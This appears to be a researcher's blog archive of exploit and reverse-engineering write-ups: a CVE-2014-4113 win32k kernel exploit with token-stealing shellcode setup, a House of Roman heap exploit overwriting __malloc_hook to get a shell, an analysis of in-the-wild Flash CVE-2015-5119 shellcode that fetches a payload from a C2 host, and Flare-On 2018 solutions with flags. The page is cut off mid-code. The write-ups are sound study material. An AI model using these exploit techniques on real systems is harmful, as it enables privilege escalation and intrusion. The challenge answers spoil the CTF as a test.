CVE-2014-4113

Exploit code reference: https://github.com/sam-b/CVE-2014-4113/blob/master/Exploit/Exploit/Exploit.cpp

When tracing the usermode API TrackPopupMenu to kernel win32k modules, the following win32k functions are executed:

1
2
3
4
5
6
7
win32k!xxxTrackPopupMenuEx
->
win32k!xxxMNLoop (The menu processing entry point.)
->
win32k!xxxHandleMenuMessages
->
win32k!xxxMNFindWindowFromPoint (Determines in which window the point lies)

In win32k!xxxMNFindWindowFromPoint, it calls win32k!xxxSendMessage with Windows message 0x1EB.

However, the usermode hook callback function captures Windows message 0x1EB and return 0xFFFFFFFB.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
printf("Callback two called.\n");
EndMenu();
return -5;
}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
printf("Callback one called.\n");
/* lParam is a pointer to a CWPSTRUCT which is defined as:
typedef struct tagCWPSTRUCT {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
*/
//lparam+8 is the message sent to the window, here we are checking for the undocumented message MN_FINDMENUWINDOWFROMPOINT which is sent to a window when the function xxxMNFindWindowFromPoint is called
if (*(DWORD *)(lParam + 8) == MN_FINDMENUWINDOWFROMPOINT) {
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
//lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}

In kernel, win32k!xxxSendMessage returns 0xFFFFFFFB and backs to win32k!xxxHandleMenuMessages.

Here win32k!xxxHandleMenuMessages calls win32k!xxxSendMessage again:

In win32k!xxxSendMessage, if the following two conditions are met, win32k!xxxSendMessage will execute shellcode by lRet = pwnd->lpfnWndProc(pwnd, message, wParam, lParam); with crafted pwnd structure:

1
2
3
4
5
6
7
if (gptiCurrent = *((PVOID *)P + 2)) { /* 0x8 - 0x5*/
...
if (*((_BYTE *)P + 0x16) & 4) { /* 0x16 - 0x5*/
...
// call lpfnWndProc here
}
}

In the sample exploit code, we can see how pwnd structure is crafted:

1
2
3
4
5
6
void* pti_loc = (void *)0x3;
void* check_loc = (void *)0x11;
void* shellcode_loc = (void *)0x5b;
*(LPDWORD)pti_loc = pti;
*(LPBYTE)check_loc = 0x4;
*(LPDWORD)shellcode_loc = (DWORD)TokenStealingShellcodeWin7;

We can confirm the shellcode is executed by windbg:

House of Roman [study]

calendar
libc

1. Vulnerability

1.0 Checksec

Partial relocation, canary, NX, PIE, FORTIFY.

1.1 UAF

g_chunk[idx] is not reset to zero.

1.2 Off-by-one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall read_buggy(__int64 a1, signed int a2)
{
char buf; // [rsp+13h] [rbp-Dh]
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= a2; ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( buf == 10 )
{
*(i + a1) = 0;
return i;
}
*(a1 + i) = buf;
}
return i;
}

1.3 No leak

That’s the real problem - House of roman came to rescue!

2. Exploit

2.1 Fastbin dup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
add(1,0x68) <- chunk1
add(2,0x68) <- chunk2
add(3,0x68) <- chunk3
add(4,0x68) <- chunk4

del(2)
del(3)
del(2)
add(2,0x68)
add(3,0x68)

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: chunk2->chunk3->chunk2
0x80: 0x0

2.2 Allocate on __malloc_hook

1
2
3
4
5
6
payload = 'a'*0x68+'\xe1'
edit(1,0x68,payload) -> Make chunk2 as smallbin
del(2) -> Unsorted bin

pay = 'a'*0x68+'\x71'
edit(1,0x68,pay) # We need to allocate size of 0x70 chunk later. To bypass the fastbin security check, we have to restore 0xe1 to 0x70.

In chunk2:

If we overwrite the first two bytes in chunk2->fd, we can allocate fastbin chunk on __malloc_hook with the probability of 1/16.

1
2
3
4
5
6
7
8
pwndbg> p &__malloc_hook
$3 = (void *(**)(size_t, const void *)) 0x7f21dd129b10 <__malloc_hook>
pwndbg> x/10gx 0x7f21dd129b10-19
0x7f21dd129afd: 0x21dcdeae20000000 0x21dcdeaa0000007f
0x7f21dd129b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f21dd129b1d: 0x0000000000000000 0x0000000000000000
0x7f21dd129b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7f21dd129b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000

Now overwrite chunk2->fd.

1
2
pay = '\xfd\x9a' -> 8 bits are random.
edit(2,len(pay)-1,pay)

Fastbin status:

1
2
3
4
5
6
7
8
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: chunk2->malloc_hook-19
0x80: 0x0

Allocate on malloc_hook-19

1
2
add(4, 0x68)
add(4, 0x68)

Bin status:

Fix 0x7f:

1
2
payload = '\x00'*3+p64(0)*9
edit(4,len(pay)-1,payload)

2.3 Unsorted bin attack

Overwrite libc address to __malloc_hook.

1
2
3
payload = p64(0)+'\x00'
edit(2,8,payload)
add(2,0x68) # unsorted bin: bck->fd(__malloc_hook)=unsorted_chunks(av)

Overwrite one gadget to __malloc_hook.

1
2
pay = '\x00'*3+one_gadget_guess # -> 8 bits are random
edit(4,len(pay)-1,pay) # -> __malloc_hook

2.4 Get shell

Double free fastbin chunk1 will trigger malloc_printerr. Then we can get shell.

1
2
del(1)
del(1)

flareon2018-7

WorldOfWarcraft.exe - Heaven gate.

WorldOfWarcraft builds two dll images in 32-bit mode which is easily verifiable by PE-sieve32. When the second dll image is built up, WorldOfWarcraft builds up the shellcode:

The purpose of the shellcode is to hook NtDeviceIoControlFile in X86SwitchTo64BitMode function.

In hook function 180001660, the xor operation implies that the flag is here.

Flag:

1
2
3
4
5
6
7
8
9
10
11
12
e1 = [0xf,0x57,0x61,0x77,0xb,0xfa,0xb5,0xd1,0x81,0x99,0xac,0xa7,0x90,0x58,0x1a,0x52,0xc,0xa0,0x8,0x2d,0xed,0xd5,0x6d,0xe7,0xe0,0xf2,0xbc,0xe9,0xf2,0x0]
e2 = [0x5f,0x68,0x44,0x62,0x23,0xba,0x21,0x54,0x33,0x73,0x4,0x65,0x50,0x97,0x72,0x26,0x1,0xc4,0xcd,0x11,0xb6,0xb,0xd6,0xf9,0x58,0x76,0x7e,0x65,0x69,0x0,0x0,0x0]

for i in range(len(e1)):
for k in range(i + 1, 29):
e1[k] ^= e1[i]

e2[i] = chr(e1[i] ^ e2[i])

e2 = e2[:-3]
print ''.join(e2)
# P0rt_Kn0ck1ng_0n_he4v3ns_d00r

Flareon2018-6 magic

1. Decrypt functions

Magic has the obvious SMC behaviors. Write script for IDA to decrypt all 33 functions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def xor_mem(src, length, data):
for i in range(length):
PatchByte(src + i, Byte(data + i) ^ Byte(src + i))

for i in range(33):
print 'Loop %d' % i

print '%d + %d' % (Dword(0x605108+4*(72*i+1)), Dword(0x605108+4*(72*i+2)))

xor_func = Qword(0x605100+8*(36*i))
xor_mem(xor_func, Dword(0x605108+4*(72*i)), Qword(0x605108+4*(72*i+4)))
print 'Decrypt function ', hex(xor_func)
MakeFunction(xor_func)
MakeName(xor_func, 'func%d' % i)

print 'Test func(input[%x], %x, &%x)' % (Dword(0x605108+4*(72*i+1)), Dword(0x605108+4*(72*i+2)), 0x605100+8*(36*i+4))

Decrypted 33 functions:

Also, the scripts shows the function address, arguments, expected input length.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
'''
Loop 0
2 + 3
Decrypt function 0x400c55L
Test func(input[2], 3, &605120)
Loop 1
44 + 2
Decrypt function 0x401e1dL
Test func(input[2c], 2, &605240)
Loop 2
16 + 1
Decrypt function 0x40166eL
Test func(input[10], 1, &605360)
Loop 3
7 + 3
...

Now we need to check these 33 functions manually.

2. Answer for the 1/666 round

There are 7 types of functions:

  • fib
  • crc32
  • non-standard base64
  • xor1
  • xor2
  • rot13
  • memcmp

Script for passing the first round:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from fib_table import fib
import zlib
import pwn
import string
import base64
import itertools

# Test func(input[2], 3, &605120)
key = ['\x00']*69

def func_fib(start, data):
for i in range(len(data)):
key[start + i] = chr(fib.index(data[i]) + 1)

def func_crc32(start, data, length):
# Assume input is one character so far

is_found = False

for guess in itertools.product(string.printable, repeat=length):
if zlib.crc32(''.join(guess)) & 0xffffffff == data[0]:
is_found = True
break

if not is_found:
print 'crc32 not found!'
assert(0)

for i in range(len(guess)):
key[start + i] = guess[i]

def func_xor1(start, data):
v8 = [0] * 260
for i in range(0x100):
v8[i] = i

v4 = 0x2074756220736954
v5 = 0x6374617263732061
v6 = 0x2e68

const_table = pwn.p64(v4) + pwn.p64(v5) + pwn.p64(v6)
v13 = 0
for i in range(0x100):
v13 += v8[i] + ord(const_table[i % 18])
v13 &= 0xff
v8[i] ^= v8[v13]
v8[v13] ^= v8[i]
v8[i] ^= v8[v13]

# Assume v10 is 1
v11 = 0
v12 = 0
v10 = 1
for i in data:
if i:
v10 = 0
break
#print [hex(x) for x in v8]
for i in range(len(data)):
v11 += v8[v12 + 1]
v12 += 1
v11 &= 0xff

v8[v12], v8[v11] = v8[v11], v8[v12]
v13 = (v8[v12] + v8[v11]) & 0xff
key[start + i] = chr(data[i] ^ v8[v13])


def func_caesar(start, data):
for i in range(len(data)):
key[start + i] = chr(data[i] - 0xD)

def func_memcmp(start, data):
for i in range(len(data)):
key[start + i] = chr(data[i])

def func_xor2(start, data):
for i in range(len(data)):
key[start + i] = chr(data[i] ^ 0x2A)

def func_non_standard_base64(start, data, num):
# -> base64
data = [chr(x) for x in data]
data = ''.join(data) # encoded base64 string
v = (0x2346A7C2645F392A, 0x42704D2847746B53, 0x4A4038626A522549,
0x5024312D59444569, 0x6671764C21547967, 0x304F57516D68632B,
0x6C336E75345A4E65, 0x4B7A617732264837, 0x56)
new_table = ''
for i in v:
new_table += pwn.p64(i)

new_table = new_table[:-8] # no zero

decoded_length = len(base64.b64encode('1'*num))
if len(data) < decoded_length:
data += '='*(decoded_length - len(data))

STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
DECODE_TRANS = string.maketrans(new_table, STANDARD_ALPHABET)
result = base64.b64decode(data.translate(DECODE_TRANS))
for i in range(len(result)):
key[start + i] = result[i]


func_fib(0x2, [1298777728820984005, 1065587176432717357, 3524578])
func_fib(0x2c, [10627031650760492279, 7515661444929089378])
func_crc32(0x10, [0x0ED4E242], 1)
func_xor1(0x7, [0xad, 0x2d, 0x84])
func_non_standard_base64(0x3f, [0x53, 0x2A], 1)
func_fib(0x39, [0x0F5B15148238F5B22, 0x2AC6F30501D6999B, 0x5FB88F7A983179C2])
func_fib(0x30, [0x45E1A61E5624F888, 0x35C7E2])
func_caesar(0x1e, [0x81, 0x75, 0x72])
func_memcmp(0xa, [0x20])
func_memcmp(0x3c, [0x20, 0x69, 0x6e])
func_caesar(0xd, [0x74])
func_fib(0x2b, [0x35c7e2])
func_caesar(0x38, [0x7f])
func_xor2(0x12, [0x4f, 0x0a])
func_memcmp(0x11, [0x20])
func_crc32(0x42, [0xC55CD5B6], 3)
func_memcmp(0x28, [0x6c, 0x69, 0x6b])
func_xor2(0x2e, [0x4f])
func_caesar(0x0, [0x76, 0x7b])
func_xor1(0xb, [0xaf, 0x26])
func_xor2(0x26, [0x44, 0x45])
func_xor2(0x14, [0x0a, 0x62])
func_non_standard_base64(0x32, [0x53, 0x23, 0x76, 0x30], 3)
func_caesar(0x24, [0x82, 0x7f])
func_memcmp(0x1c, [0x6f, 0x66])
func_memcmp(0x2f, [0x66])
func_xor2(0x5, [0x43, 0x59])
func_xor2(0x35, [0xa, 0x48, 0x46])
func_fib(0x40, [0x2AC6F30501D6999B, 0x3CBD2238198C09A0])
func_xor2(0x16, [0x5e, 0x42, 0x43])
func_fib(0xe, [0x35C7E2, 0x3CBD2238198C09A0])
func_caesar(0x19, [0x81, 0x75, 0x72])
func_xor2(0x21, [0x6b, 0x42, 0x6])

print ''.join(key)

3. Automated script to answer 666 rounds

Strace shows that the binary file magic is different in each round.

1
2
3
...
rename("magicKHbGwN", "./magic") = 0
...

For automatically answer 666 rounds, we need:

  • pwntool to read / patch binary.
  • Function signature for 7 types.
  • Read new elf each time.

Final script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
import zlib
import pwn
import string
import base64
import itertools
import os
import time
from fib_table import fib

key = []

... # func_fib func_xor1 ... are omitted.

magic = ELF('magic')

def Byte(i):
return u8(magic.read(i, 1))

def Dword(i):
return u32(magic.read(i, 4))

def Qword(i):
return u64(magic.read(i, 8))

def xor_mem(src, length, data):
for i in range(length):
magic.write(src + i, chr(Byte(data + i) ^ Byte(src + i)))

def get_key():
answer_length = 0
question_list = []
global magic
magic = ELF('magic')
for i in range(33):
#print 'Loop %d' % i

test_length = Dword(0x605108+4*(72*i+1)) + Dword(0x605108+4*(72*i+2))
if test_length > answer_length:
answer_length = test_length

xor_func = Qword(0x605100+8*(36*i))
xor_mem(xor_func, Dword(0x605108+4*(72*i)), Qword(0x605108+4*(72*i+4)))
question_list.append((xor_func, Dword(0x605108+4*(72*i+1)), Dword(0x605108+4*(72*i+2)), 0x605100+8*(36*i+4)))

#print 'sig for %s = %s' % (hex(xor_func), hex(Qword(xor_func + 17)))

global key
key = ['\x00']*answer_length

for i in question_list:
func, answer_start, answer_length, answer_data_addr = i[0], i[1], i[2], i[3]

# default way to fill answer_data as a byte array
answer_data = []
for i in range(answer_length):
answer_data.append(Byte(answer_data_addr + i))
# print hex(func), Qword(func)

sig = Qword(func + 17)
# fib
if sig == 0x119e900000000fc:
answer_data = []
for i in range(answer_length):
answer_data.append(Qword(answer_data_addr + i * 8))
func_fib(answer_start, answer_data)
# crc
elif sig == 0xfc45c700f3:
func_crc32(answer_start, [Qword(answer_data_addr)], answer_length)
# xor1
elif sig == 0x48fffffec4b589ff:
func_xor1(answer_start, answer_data)
# base64
elif sig == 0x2346a7c2645f392a:
answer_data = []
for i in range(answer_length + 1):
answer_data.append(Byte(answer_data_addr + i))
func_non_standard_base64(answer_start, answer_data, answer_length)
# caesar
elif sig == 0xfc45c700000000fc:
func_rot13(answer_start, answer_data)
# memcmp
elif sig == 0x8b55eb00000000fc:
func_memcmp(answer_start, answer_data)
# xor2
elif sig == 0x8b5deb00000000fc:
func_xor2(answer_start, answer_data)
else:
print 'unknown func!', hex(sig), i

print ''.join(key)
return ''.join(key)

os.system('cp bk/magic .')

p = process(['stdbuf', '-i0', '-o0', '-e0', './magic'])

while 1:
print p.recv()
print 'acquiring key ....'

key = get_key()
print p.sendline(key)

Get flag!!

Flareon2018-5 Web2point

Reverse Webassembly

1
wasm2c test.wasm -o fac.c

Then compile web assembly to executable. Identify webassembly VM is trivial in IDA:

Final script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
g_a = [0xE4, 0x47, 0x30, 0x10, 0x61, 0x24, 0x52, 0x21, 0x86, 0x40, 0xAD, 0xC1, 0xA0, 0xB4, 0x50, 0x22, 0xD0, 0x75, 0x32, 0x48, 0x24, 0x86, 0xE3, 0x48, 0xA1, 0x85, 0x36, 0x6D, 0xCC, 0x33, 0x7B, 0x6E, 0x93, 0x7F, 0x73, 0x61, 0xA0, 0xF6, 0x86, 0xEA, 0x55, 0x48, 0x2A, 0xB3, 0xFF, 0x6F, 0x91, 0x90, 0xA1, 0x93, 0x70, 0x7A, 0x06, 0x2A, 0x6A, 0x66, 0x64, 0xCA, 0x94, 0x20, 0x4C, 0x10, 0x61, 0x53, 0x77, 0x72, 0x42, 0xE9, 0x8C, 0x30, 0x2D, 0xF3, 0x6F, 0x6F, 0xB1, 0x91, 0x65, 0x24, 0x0A, 0x14, 0x21, 0x42, 0xA3, 0xEF, 0x6F, 0x55, 0x97, 0xD6]

data = [0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07]

flag = []

def f2(a, size, const_0, index):
v9 = a[1]
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 2


def f3(a, size, const_0, index):
v9 = (~a[1]) & 0xff
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 2


def f4(a, size, const_0, index):
v9 = a[1] ^ a[2]
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 3


def f5(a, size, const_0, index):
v9 = a[1] & a[2]
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 3


def f6(a, size, const_0, index):
v9 = a[1] | a[2]
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 3


def f7(a, size, const_0, index):
v9 = (a[1] + a[2]) & 0xFF
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 3


def f8(a, size, const_0, index):
v9 = (a[2] - a[1]) & 0xFF
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 3


func_table = {
0x1: f2,
0x2: f3,
0x3: f4,
0x4: f5,
0x5: f6,
0x6: f7,
0x7: f8,
}


def solve():
global g_a
a_len = len(g_a)
a_i = 0
for k in g_a:
func_index = g_a[0] & 0xf
func_index = data[func_index]

print 'func index = ', func_index
a_i = func_table[func_index](g_a, a_len - 0, 0, a_i)
g_a = g_a[a_i:]

try:
solve()
except:
pass

print ''.join(flag)

Flaggy!

-> wasm_rulez_js_droolz@flare-on.com

CVE-2015-5119 & Shellcode framework

A in the Wild Nday exploit embedded in a Flash porn animation has been detected by us recently in September 2018.

1. Vulnerability

The malicious Flash swf utilizes Flash Exploit CVE2015-5119. It can corrupt vector internal structure by UAF vulnerability.

According to JPEXS, we can see the payload corrupts internal vector size (0x0000007c -> 0x4000007c in runtime). The swf file is highly obfuscated.

After the vector is tampered, attacker can arbitrarily read / write any memory content through the corrupted vector.

2. Pwning

2.1 Initialize the payload

  • 1. Flash allocates the RW memory in 0xa2b0000.
  • 2. Payload fills 0xa2b0000.

Payload fills 0xa2b0000 first with 0xcc and then with the shellcode & ROP.

2.2 Hijack EIP

  • 1. Overwrite 0xa2b0000+0x68 with shellcode entry.
    Later 0xa2b0068 becomes esp which points to the return address.

mov dword ptr [edx+eax*4+8=0xa2b0068], ecx=0xa2b006c
Edx points to the corrupted vector structure, which means 0xa2b0068 is tampered by attacker.

  • 2. Change shellcode memory permission

0x5d8d0808 is a native flash function. eax = 0xa2b0040, esp=0x4e9be8c(original stack pointer).
The eax is controlled by the caller function argument which pushes in the stack.

  • 3. Change shellcode memory permission

So far the esp is changed to 0xa2b0040. ROP begins from 0xa2b0040 and eventually the eip points to 0x5dea5949 (VirtualAlloc).
The function 0x5dea5940 is a native Flash function.

call dword ptr [5e40a594] -> call VirtualAlloc(0xa2ac000, 0x8000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

  • 4. Execute shellcode entrypoint

When eip -> 0x5dea5955 ret, the esp is 0xa2b0068.
According to step1, poi(0xa2b0068) == shellcode_entry. Therefore eip is hijacked.

3. After pwn

3.1 Shellcode crafting techniques & tricks

  • 1. Payload uses shellhash to load dll module and get API address.
  • 2. Payload searches rop by brute force searching the dll memory space.
  • 3. Payload uses common methods to thwart analysis.
    e.g. Obtain GetProcAddress function address (it’s actually located in ieshim because IEshim does EAT hook on kernel.dll). Payload will mess up the IDA flow chart in the runtime.

  • 4. Payload verifies C2 response and decrypt real shellcode from C2.

  • 5. Payload create two threads (no obvious reason why it does so).

3.2 Shellcode reverse engineering

  • 1. WSAStartup.
  • 2. GetHostByName(googlepornositestats.com).

If fails, sleep(1000) and retries forever until Flash timeout.

  • 3. socket.
    socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
  • 4. connect.
    connect(socket=0x798, sockaddr, sockaddr_len=0x10)
  • 5. Send HTTP Get Request.
    send(socket=0x798, buf, len=0x7d, flags=0x0)
1
2
3
GET /favicon.ico HTTP/1.1\r\n
Host: googlepornositestats.com\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\r\n
  • 6. select.
    select(nfds=0(ignored), readfds(=0x92ffb88), writefds(=0),exceptfds(=0), timeout(=1s))
  • 7. Use while-loop to receive all buffer.
    recv(socket=0x798, buf, len=0x800, flags=0).
  • 8. Check status.
    Expected WSAGetLastError() != WSAEWOULDBLOCK(10035). Otherwise go to while-loop to recv again.
  • 9. Verify if C2 response has \r\n\r\n.
  • 10. Verify C2 response further.

    1
    2
    3
    4
    5
    if (buf[0x2000] == 'w' && buf[0x2001] == 'w') {
    // Decrypt C2.
    } else {
    // Go to step 1.
    }
  • 11. Decrypt C2 response.

    1
    2
    3
    for (int i = 0; i < buf[0x2000 + 4]; i++) {
    buf[i + 0x2000 + 8] = buf[0x2000 + 2]
    }

  • 12. Call real shellcode
    call eax=buf[0x2000+8]. Since C2 is already dead, we can’t extract more info about it.

Flareon2018-4 binstall

Reverse C# binary.

1. Unpack

Binstall is packed byConfuserEx.

Utilize de4dot to unpack the binary. However, the binary is still obfuscated but it’s trivial to decrypt the string manually.

Binstall is a dropper: it drops a malicious dll and injects itself to firefox by registry.

2. DLL

In the malicious dll, it attempts to get pastebin.com/raw/hvaru8NU
Unfortunately the wininet library does not work as expected (it hangs forever). I have to manually patch it:

After receive response from server, it decrypts the content and get a js file.

1
2
{"fg_blacklist": ["*ocsp*.*", "*telemetry.mozilla.org*", "*safebrowsing.google.com*", "*services.mozilla.com*"], "injects": [{"content": [{"code": "function readIn", "after": "", "before": "function cp(p){if(model.passwordEntered=!1,10===p.length&&123==(16^p.charCodeAt(0))&&p.charCodeAt(1)<<2==228&&p.charCodeAt(2)+44===142&&p.charCodeAt(3)>>3==14&&p.charCodeAt(4)===parseInt(function(){var h=Array.prototype.slice.call(argum
...

Then it does nasty things like hook firefox pr_write to achieve webinject.

3. JS

Get root password k9btBW7k2y.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// For index 0: 16 ^ 123 - k
// For index 1: 228 >> 2 - 9
// For index 2: 142-44 - b
// For index 3 - t
for (i = 0; i < 255; i++) {
if (64 == ((i << 4) & 255) && i >>3 == 14) {
console.log("index 3 = " + String.fromCharCode(i))
}
}

p_4 = parseInt(function() {
var h = Array.prototype.slice.call(arguments),
k = h.shift();
return h.reverse().map(function(m, W) {
return String.fromCharCode(m - k - 24 - W)
}).join("")}(50,124)+4..toString(36).toLowerCase(),31)
console.log("index 4 = " + String.fromCharCode(p_4))

p_6 = parseInt(function(){var n=Array.prototype.slice.call(arguments),M=n.shift();return n.reverse().map(function(r,U){return String.fromCharCode(r-M-16-U)}).join("")}(22,107)+9..toString(36).toLowerCase(),19)
p_6 = p_6 / 5

console.log("index 6 = " + String.fromCharCode(p_6))

p_8 = parseInt(function(){var l=Array.prototype.slice.call(arguments),f=l.shift();return l.reverse().map(function(O,o){return String.fromCharCode(O-f-30-o)}).join("")}(14,93)+6..toString(36).toLowerCase(),8)-1+12
p_8 = ((p_8 + 17) / 3 - 14) / 6 + 50

console.log("index 8 = " + String.fromCharCode(p_8))

test = parseInt(function() {
var h = Array.prototype.slice.call(arguments),
k = h.shift();
console.log(arguments)
return h.reverse().map(function(m, W) {
return String.fromCharCode(m - k - 24 - W)
}).join("\\")}(50,124)+4..toString(36).toLowerCase(),31)
console.log(test)

/* p.charCodeAt(5)-109==-22 */
console.log("index 5 = " + String.fromCharCode(-22 + 109))

/* For index 7: k */
/* p.charCodeAt(7)+14===\"xyz\".charCodeAt(1) */
console.log("index 7 = " + String.fromCharCode("xyz\\".charCodeAt(1)-14))


/* Index 9: y */
/* 3+(p.charCodeAt(9)+88-1)/2===p.charCodeAt(0) */
console.log("index 9 = " + String.fromCharCode(2 * ((16 ^ 123) - 3) - 88 + 1))

Get flag

1
2
3
4
5
global.atob = require("atob");

function de(instr){console.log(instr); for(var zzzzz,z="k9btBW7k2y",zz=atob(instr),zzz=[],zzzz=0,zzzzzz="\\",zzzzzzz=0;zzzzzzz<parseInt("CG\\",20);zzzzzzz++)zzz[zzzzzzz]=zzzzzzz;for(zzzzzzz=0;zzzzzzz<parseInt("8O\\",29);zzzzzzz++)zzzz=(zzzz+zzz[zzzzzzz]+z.charCodeAt(zzzzzzz%z.length))%parseInt("8G\\",30),zzzzz=zzz[zzzzzzz],zzz[zzzzzzz]=zzz[zzzz],zzz[zzzz]=zzzzz;for(var y=zzzz=zzzzzzz=0;y<zz.length;y++)zzzz=(zzzz+zzz[zzzzzzz=(zzzzzzz+1)%parseInt("514\\",7)])%parseInt("213\\",11),zzzzz=zzz[zzzzzzz],zzz[zzzzzzz]=zzz[zzzz],zzz[zzzz]=zzzzz,zzzzzz+=String.fromCharCode(zz.charCodeAt(y)^zzz[(zzz[zzzzzzz]+zzz[zzzz])%parseInt("D9\\",19)]);return zzzzzz}
test = de((function(){var A=Array.prototype.slice.call(arguments),f=A.shift();return A.reverse().map(function(E,v){return String.fromCharCode(E-f-22-v)}).join('')})(1,89,97,142,140,107,157,88,124,107,150,142,134,145,110,125,98,148,98,136,126)+(23).toString(36).toLowerCase().split('').map(function(S){return String.fromCharCode(S.charCodeAt()+(-39))}).join('')+(16201).toString(36).toLowerCase()+(1286).toString(36).toLowerCase().split('').map(function(v){return String.fromCharCode(v.charCodeAt()+(-39))}).join('')+(10).toString(36).toLowerCase().split('').map(function(p){return String.fromCharCode(p.charCodeAt()+(-13))}).join('')+(function(){var V=Array.prototype.slice.call(arguments),P=V.shift();return V.reverse().map(function(i,f){return String.fromCharCode(i-P-11-f)}).join('')})(59,171,202,183,197,149,166,148,129,184,145,176,149,174,183)+(2151800446).toString(36).toLowerCase()+(515).toString(36).toLowerCase().split('').map(function(Z){return String.fromCharCode(Z.charCodeAt()+(-13))}).join('')+(30).toString(36).toLowerCase().split('').map(function(G){return String.fromCharCode(G.charCodeAt()+(-39))}).join('')+(24).toString(36).toLowerCase()+(28).toString(36).toLowerCase().split('').map(function(W){return String.fromCharCode(W.charCodeAt()+(-39))}).join('')+(3).toString(36).toLowerCase()+(1209).toString(36).toLowerCase().split('').map(function(u){return String.fromCharCode(u.charCodeAt()+(-39))}).join('')+(13).toString(36).toLowerCase().split('').map(function(U){return String.fromCharCode(U.charCodeAt()+(-13))}).join('')+(652).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(l){return String.fromCharCode(l.charCodeAt()+(-13))}).join('')+(function(){var D=Array.prototype.slice.call(arguments),R=D.shift();return D.reverse().map(function(L,H){return String.fromCharCode(L-R-50-H)}).join('')})(36,159,216,151,203,175,206,210,138,180,195,136,166,155))
console.log(test)

-> c0Mm4nD_inJ3c7ioN@flare-on.com

Flareon2018 [1-3]

Baby first!

Problem 1 Minesweeper Championship Registration

JD-GUI

1
2
3
4
5
if (response.equals("GoldenTicket2018@flare-on.com")) {
JOptionPane.showMessageDialog(null, "Welcome to the Minesweeper Championship 2018!\nPlease enter the following code to the ctfd.flare-on.com website to compete:\n\n" + response, "Success!", -1);
} else {
JOptionPane.showMessageDialog(null, "Incorrect invitation code. Please try again next year.", "Failure", 0);
}

-> GoldenTicket2018@flare-on.com

Problem 2 Ultimate Minesweeper

dnSpy -> Three points

Decryption:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace test
{
class Program
{
public static string GetKey(uint guess1, uint guess2, uint guess3)
{
//revealedCells.Sort();
Random random = new Random(Convert.ToInt32(guess1 << 20 | guess2 << 10 | guess3));
byte[] array = new byte[32];
byte[] array2 = new byte[]
{
245,
75,
65,
142,
